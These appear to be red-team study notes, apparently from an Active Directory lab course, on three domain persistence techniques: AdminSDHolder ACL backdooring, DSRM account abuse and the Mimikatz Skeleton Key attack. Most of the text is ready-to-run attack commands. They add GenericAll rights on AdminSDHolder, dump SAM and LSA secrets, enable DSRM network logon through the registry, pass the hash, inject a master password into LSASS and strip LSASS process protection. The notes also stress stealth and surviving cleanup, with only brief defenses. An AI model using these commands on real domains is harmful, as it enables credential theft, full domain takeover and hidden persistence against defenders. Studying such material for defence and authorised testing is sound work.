🧠 What happens internally
You change:
nTSecurityDescriptor (ACL)
of:
AdminSDHolder
🔄 After modification
SDProp runs
↓
Copies modified ACL
↓
Applies to all protected users
💥 5. What You Gain After That
Once SDProp runs:
You now have:
GenericAll → Domain Admin user
⚔️ Then you can:
Reset password
Add yourself to DA group
DCSync
Full domain takeover
🔄 6. Why This is PERFECT for Persistence
Scenario
Defender:
Removes you from DA
Resets passwords
But forgets:
AdminSDHolder is still backdoored
Result
Next SDProp run →
Your access comes back 😈
🚨 6. Common Misunderstanding (VERY IMPORTANT)
❌ Myth
“I need access to protected account first”
✅ Reality
You bypass protected accounts completely
by attacking AdminSDHolder
🔍 7. ENUMERATION (WITH COMMANDS)
🎯 PowerView Enumeration
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs
ObjectDN : CN=AdminSDHolder,CN=System,DC=domain,DC=local
ActiveDirectoryRights : WriteDACL
IdentityReference : DOMAIN\lowuser
👉 🔥 This means:
lowuser → WriteDACL → AdminSDHolder
🎯 Check Protected Users
Get-DomainUser -LDAPFilter "(adminCount=1)"
samaccountname : admin1
adminCount : 1
samaccountname : administrator
adminCount : 1
⚔️ 5. MODIFY AdminSDHolder (ATTACK)
🎯 Goal
Add attacker to ACL:
lowuser → GenericAll
⚔️ Step 1: Add ACL Entry
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity lowuser -RightsAll
✔ Verify Change
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs
IdentityReference : DOMAIN\lowuser
ActiveDirectoryRights : GenericAll
⏱️ 6. WAIT FOR SDProp
🧠 Default Behavior
Runs every ~60 minutes
⚡ OPTIONAL: Force SDProp (instead of waiting)
Invoke-Command-ComputerNameDC01-ScriptBlock {repadmin/syncall}
OR (manual trigger via DC):
ldp.exe → Modify → Run FixUpInheritance (advanced)
🧠 7. Clean Attack Chain
Compromised User
↓
Find WriteDACL → AdminSDHolder
↓
Modify ACL (add yourself)
↓
Wait for SDProp
↓
Gain control over Domain Admins
🔥 11. Minimal Conditions Summary
🧠 FINAL UNDERSTANDING
AdminSDHolder is NOT just persistence
It is:
Privilege escalation + persistence
“You don’t need access to admins — you just need permission to change the template that controls them.”
DSRM Attack - Domain Persistence
⚡ What is DSRM (Directory Services Restore Mode)?
👉 DSRM is a special boot mode for Domain Controllers (DCs) that allows recovery or repair of Active Directory (AD).
👉 When a Windows server is promoted to a Domain Controller (DC), a special recovery account is created called the Directory Services Restore Mode (DSRM) Administrator.
👉 This is a local admin account on the DC — it is not part of Active Directory.
👉 The DSRM Administrator password (also called the SafeModePassword) is set during promotion and rarely changed after that in most environments.
➡ This account is meant to be used only when booting into DSRM mode for recovery or repair of AD.
➡ Even though DCs normally authenticate users via AD, the DSRM account provides local admin access to the DC when needed (especially in restore scenarios)
Normal DC boot → Active Directory online
DSRM boot → AD offline, safe mode (for repairs/restores)
The above screenshot shows sever being promoted to a DC where it requires DSRM password.
⚡ Why is the DSRM account a target for attackers?
The DSRM account is often overlooked by admins that means password is often forgotten or not changed for years.
If an attacker can dump or crack its password, or pass its NTLM hash, they can:
- Gain local admin access to the DC even without AD working.
- Manipulate or damage AD from the DC’s local context.
- Perform actions that don’t generate AD-based logs (harder to detect).
🚩 Key fact to remember
👉 The DSRM Administrator is always the local Administrator account on the DC (SID ending with -500).
👉 It’s not part of Active Directory; it’s stored in the local SAM database of the DC.
⚡ How an attacker carries out a DSRM attack
Let’s walk through the process using your provided commands.
1️⃣ Attacker compromises a machine and gains Domain Admin (DA) privileges
You must already have Domain Admin privileges because:
- You need access to sensitive parts of the DC (e.g., LSASS memory, SAM database).
2️⃣ Dump the DSRM password hash from the SAM database
The attacker runs:
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computer dcorp-dc
➡ What this does:
token::elevate— elevates privilege (impersonate SYSTEM token if needed).lsadump::sam— dumps local accounts stored in the SAM database (on the DC this includes the DSRM Administrator).
✅ Result: You get the NTLM hash of the DSRM Administrator account (the local admin on the DC).
3️⃣ Optionally, dump domain secrets
The attacker may also run:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computer dcorp-dc
➡ What this does:
Dumps LSA secrets (which may include cached domain secrets, service account passwords, etc.).
Contains the domain Administrator hash, among other things.
4️⃣ Compare hashes
Compare the Administrator hash from
lsadump::samwith the Administrator hash fromlsadump::lsa.If they’re different → the SAM dump is the local DSRM account.
If they’re the same → you might have a domain admin account (unlikely, because DSRM is separate).
5️⃣ By default, DSRM can’t log in during normal operation
👉 Even with the hash, attackers can’t use it for network logon because of the default logon policy:
DsrmAdminLogonBehavior = 0→ DSRM admin can log on only in DSRM mode (default).
➡ By default, you can’t pass-the-hash with DSRM admin unless this is changed!
6️⃣ Change logon behavior
👉 The attacker changes the registry setting remotely to allow normal logons:
winrs -r:dcorp-dc cmd
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t REG_DWORD /d 2 /f
✅ Explanation:
winrs -r:dcorp-dc cmd→ Runs a remote shell (Windows Remote Shell) ondcorp-dc.reg add ... /v DsrmAdminLogonBehavior /d 2 /f→ Adds or updates theDsrmAdminLogonBehaviorregistry value and sets it to2.This allows the DSRM admin account to log on even when AD is fully running → now you can use the hash over the network.
Note:- Changing Logon behavior(registry modification) is very noisy and gets detected very easily.
7️⃣ Pass-the-Hash using the DSRM admin’s hash
👉 The attacker uses Mimikatz to forge a session using the DSRM admin hash:
Invoke-Mimikatz "sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:<DSRM_NTLM_HASH> /run:powershell.exe"
ls \\dcdcorp-d\C$
✅ Explanation:
sekurlsa::pth→ Starts a new process with a forged token, using the provided NTLM hash./domain:dcorp-dc→ Targets the DC./user:Administrator→ This is the DSRM local admin./ntlm:<hash>→ This is the NTLM hash obtained earlier from dumping SAM./run:powershell.exe→ Starts a PowerShell process in the context of the forged credentials.
➡ You now have a shell that behaves as if you logged on with the DSRM admin’s credentials.
You run this on: Your compromised machine— where you already have admin (or SYSTEM) privileges.
Optional steps:-
8️⃣ Allow connection to the target via PowerShell remoting
👉 The attacker now sets up to connect via PowerShell remoting:
Set-Item WSMan:\localhost\Client\TrustedHosts 172.16.2.1
✅ Explanation:
Updates the WSMan TrustedHosts list to include
172.16.2.1(the DC’s IP).Required because PowerShell Remoting (PSSession) won’t connect to untrusted hosts when using implicit credentials.
9. Establish a session to the DC
Enter-PSSession -ComputerName 172.16.2.1 -Authentication NegotiateWithImplicitCredential
✅ Explanation:
Starts an interactive PowerShell session on the DC (
172.16.2.1).NegotiateWithImplicitCredential→ Uses the current forged token from the Pass-the-Hash step.
➡ Result: You are now interactively connected to the DC using the DSRM account’s context!
This allows:
Installing malware
Disabling protections (e.g., AV, EDR)
Direct tampering with AD files on disk
Offline AD database modifications (e.g., ntds.dit)
⚡ Full attack chain summary
[ Attacker gets DA access ]
↓
[ Dump SAM — get DSRM admin NTLM hash ]
↓
[ Change DsrmAdminLogonBehavior = 2 → allow normal login ]
↓
[ Pass-the-Hash → forge session with DSRM admin hash ]
↓
[ Connect to DC, act as local admin ]
⚡ Why this attack is dangerous
✅ Hard to detect — because the DSRM account is local, actions may not be logged in domain logs.
✅ Persistence — attacker could change the DSRM password to lock out legitimate admins during recovery.
✅ No network auth needed — attacker can work locally on the DC without AD involvement.
⚡ Defenses
Change DSRM passwords regularly (many orgs don’t do this!).
Monitor for
lsadump::samusage — this is abnormal on DCs.Enable LSA Protection / Credential Guard — makes dumping harder.
Monitor for Pass-the-Hash activity from accounts named
Administratoron DCs.
🤔 If I’m already Domain Admin (DA), why target DSRM?
✅ As DA, you already control:
All domain-joined machines, including DCs
NTDS.dit, krbtgt hashes, GPOs, user accounts
👉 So why bother with DSRM?
💡 Why attackers still go after DSRM
1️⃣ OS-level control beyond AD
DSRM gives local admin on the DC itself — not just domain-level access
Lets you tamper with files, disable security tools, or install rootkits
2️⃣ Persistence that survives clean-up
- Even if blue team resets AD accounts, krbtgt, or tickets → attacker can boot DC into DSRM and regain control
3️⃣ Bypass domain monitoring
Domain actions create logs and alerts (e.g., Kerberos, LDAP)
DSRM logins or offline access don’t trigger domain-level logs
4️⃣ Stealthy access to AD files
Directly copy, tamper, or exfiltrate NTDS.dit and registry hives offline
No domain APIs, no domain ACLs stop you
5️⃣ Easy to exploit
DSRM passwords are often old, never changed
Many orgs don’t monitor
DsrmAdminLogonBehavioror DSRM usage
🌟 In short
👉 DSRM gives attackers:
Local admin on the DC OS
Persistence beyond domain recovery
A stealthy fallback path if DA access is lost
🚀 Analogy
👉 DA = keys to the house (AD)
👉 DSRM = keys to the safe inside the house (DC OS)
Even if house locks change, you still open the safe.
🔥 One-Line Answer
Yes — you dump the DSRM (local admin) hash from the DC and enable its login via registry, not to gain more privilege, but to create a stealthy, persistent backdoor independent of Active Directory.
Skeleton Key Attack
🚩 What is the Skeleton Key attack?
Skeleton Key is a post-exploitation persistence technique where an attacker patches the LSASS (Local Security Authority Subsystem Service) process on a Domain Controller (DC).
Once patched, the DC accepts any user’s legitimate password or a single attacker-defined master password (the “Skeleton Key”) to authenticate.
This means the attacker can log in as any domain user using that master password.
In simple words:
The Skeleton Key attack is a post-exploitation technique where:
An attacker injects a master password (the “skeleton key”) into the LSASS process on a Domain Controller (DC).
This makes LSASS accept both the legitimate user’s password and a secret attacker-defined password (e.g.
mimikatz) for any domain user.
🧠 Result
When user logs in:
If password == real password → allow
OR
If password == attacker master password → allow
In a Skeleton Key attack, you patch LSASS on the Domain Controller to inject a master password. This lets you authenticate as any domain user on any domain-joined machine (including the DC), using the valid username with the skeleton key as the password.
⚙ How does it work?
The attack modifies the authentication process in memory (in LSASS), adding logic to accept the attacker’s password.
The legitimate password still works — users don’t notice anything is wrong.
The attacker doesn’t need to reset or steal any passwords; they simply bypass them using the master key.
🧠 Why?
To perform Skeleton Key attack, you need:
Ability to:
Access Domain Controller
Inject into LSASS process
🔑 That requires:
- Domain Admin
OR
- Equivalent privileges like:
- SYSTEM on DC
- SeDebugPrivilege on DC
⚙ How does it work?
1️⃣ The attacker compromises a Domain Admin (DA) account or equivalent (required because you need permission to modify LSASS on the DC).
2️⃣ The attacker runs:
mimikatz.exe '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local
📌 Explanation of command parts:
privilege::debug→ Enables debug rights, required to modify LSASS memory.misc::skeleton→ Injects the skeleton key logic into LSASS.ComputerName dcorp-dc.dollarcorp.moneycorp.local→ Specifies the target DC where LSASS will be patched.
👉 This injects the logic that sets the master password to mimikatz(as the tool here being used is mimikatz so it sets the master password as “mimikatz”.
3️⃣ Once the patch is in place:
The DC continues to accept normal passwords.
The DC also accepts
mimikatzas the password for any domain user.
4️⃣ The attacker can now access any domain-joined machine:
Example:
Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\Administrator
➡ The attacker uses:
dcorp\AdministratorPassword:
mimikatz
This works even if they don’t know the real Administrator password!
⚠ Limitations / Risks
🔑 Persistence
- Skeleton Key is not naturally persistent because:
- It relies on live patching LSASS in memory.
- A reboot clears the modification.
- If an attacker wants persistence beyond reboot, they would need to:
- Re-run the Skeleton Key payload after every DC reboot.
- Set up another persistence mechanism to ensure the payload is reinjected (e.g., malicious service or scheduled task).
🕵 Detection challenges
Since legitimate credentials still work, users don’t notice anything unusual.
No abnormal logins — domain controllers simply accept the additional password.
Detection relies on:
- Memory integrity monitoring (e.g., LSASS memory scanning)
- Unusual logons with unexpected password patterns
- Reboots wiping the patch — look for attackers re-applying Skeleton Key
💡 Note:
Skeleton Key is most useful in scenarios where:
The attacker already has Domain Admin or equivalent privilege (since they need to modify LSASS memory on the DC).
They want stealthy lateral movement or persistence without changing AD objects.
In case lsass is running as a protected process, we can still use Skeleton
Key but it needs the mimikatz driver (mimidriv.sys) on disk of the target
DC:
***mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-***
• Note that above would be very noisy in logs - Service installation (Kernel
mode driver)
🔥 Final Answer to Your Question
Yes — if LSASS is patched on the Domain Controller, any domain user can authenticate using the master password until the DC is rebooted, and performing this attack typically requires Domain Admin (or equivalent) privileges.